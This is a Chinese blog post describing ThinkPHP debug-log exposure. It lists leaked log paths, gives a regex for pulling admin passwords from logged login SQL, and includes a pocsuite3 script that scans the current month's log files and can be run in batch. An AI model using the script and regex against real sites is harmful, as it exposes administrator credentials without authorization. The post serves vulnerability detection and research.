thinkphp日志泄露

漏洞简介

thinkphp在开启DEBUG的情况下会在Runtime目录下生成日志,虽然Thinkphp官方一再强调生产模式下需要关闭debug,但很多管理员还是忘记关闭。

ThinkPHP3日志目录:

  • /Runtime/Logs/
  • /App/Runtime/Logs/
  • /Application/Runtime/Logs/Admin/
  • /Application/Runtime/Logs/Home/
  • /Application/Runtime/Logs/
  • ...

日志格式为:/App/Runtime/Logs/21_05_17.log

ThinkPHP5日志目录:

  • /runtime/log/

日志格式为:/runtime/log/202105/17.log

通过查看日志内容可以发现管理员登录时的SQL语句,进而获取管理员的密码

检测POC

把TP3和TP5的检测POC写在一起了,正则匹配出密码的这一步没有做,因为不同网站的查询SQL语句不一样,很难做到一个正则匹配完全。

常规的密码正则匹配如下

password_pattern = r"`username` = '{}' \) AND \( `password` = '(.*?)'".format(username)

基于pocsuite3的日志检测POC(检测是否有本月内的日志)

#!/usr/bin/env python # -*- coding: utf-8 -*- # @Time : 2022/2/26 12:46 # @Author : Cl0udG0d # @File : thinkphp日志泄露.py # @Github: https://github.com/Cl0udG0d from pocsuite3.api import requests from pocsuite3.api import register_poc from pocsuite3.api import Output, POCBase, logger import ssl import datetime ssl._create_default_https_context = ssl._create_unverified_context class TestPOC(POCBase): vulLevel = 3 vulID = '' version = '1.0' vulDate = '' references = [''] name = 'thinkphp日志泄露' appPowerLink = '' appName = 'thinkphp' appVersion = '' vulType = '敏感信息泄露' desc = ''' ''' samples = [''] def getTPLogFilename(self,version): now_year = datetime.datetime.now().year now_month = datetime.datetime.now().month now_day = datetime.datetime.now().day begin_date = datetime.date(now_year, now_month, 1) end_date = datetime.date(now_year, now_month, now_day) date_list = [begin_date + datetime.timedelta(days=i) for i in range((end_date - begin_date).days + 1)] filename_list = [] for date in date_list: if version == 3: filename_list.append( "{:0>2d}_{:0>2d}_{:0>2d}.log".format(int(str(date.year)[2:]), date.month, date.day)) elif version == 5: filename_list.append("{}{:0>2d}/{:0>2d}.log".format(date.year, date.month, date.day)) return filename_list def _verify(self): result = {} headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36', } log_path_list = { '3': ['/Runtime/Logs/', '/App/Runtime/Logs/', '/Application/Runtime/Logs/Admin/', '/Application/Runtime/Logs/Home/', '/Application/Runtime/Logs/'], '5': ['/runtime/log/'], } for temppath in log_path_list['3']: filename_list=self.getTPLogFilename(3) for filename in filename_list: logpath=temppath+filename vulurl = "{}{}".format( self.url.rstrip('/'), logpath) logger.info("Scan {}".format(vulurl)) try: resp = requests.get(url=vulurl, headers=headers, timeout=3, verify=False) if "INFO" in resp.text and resp.status_code==200: result['VerifyInfo'] = {} result['VerifyInfo']['url'] = vulurl return self.parse_attack(result) except Exception as e: logger.error("connect target '{} failed!'".format(vulurl)) pass for temppath in log_path_list['5']: filename_list=self.getTPLogFilename(5) for filename in filename_list: logpath=temppath+filename vulurl = "{}{}".format( self.url.rstrip('/'), logpath) logger.info("Scan {}".format(vulurl)) try: resp = requests.get(url=vulurl, headers=headers, timeout=3, verify=False) if "INFO" in resp.text and resp.status_code==200: result['VerifyInfo'] = {} result['VerifyInfo']['url'] = vulurl return self.parse_attack(result) except Exception as e: logger.error("connect target '{} failed!'".format(vulurl)) pass return self.parse_attack(result) def parse_attack(self, result): output = Output(self) if result: output.success(result) else: output.fail('Internet nothing returned') return output register_poc(TestPOC)

检测效果

单个检测:

放到扫描器里面批量检测如图:

参考链接

END

建了一个微信的安全交流群,欢迎添加我微信备注进群,一起来聊天吹水哇,以及一个会发布安全相关内容的公众号,欢迎关注 😃

GIF GIF

__EOF__

本文作者春告鳥
本文链接https://www.cnblogs.com/Cl0ud/p/15941252.html
关于博主:评论和私信会在第一时间回复。或者直接私信我。
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
声援博主:如果您觉得文章对您有帮助,可以点击文章右下角推荐一下。您的鼓励是博主的最大动力!
posted @   春告鳥  阅读(3753)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 【自荐】一款简洁、开源的在线白板工具 Drawnix
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY
· Docker 太简单,K8s 太复杂?w7panel 让容器管理更轻松!
点击右上角即可分享
微信分享提示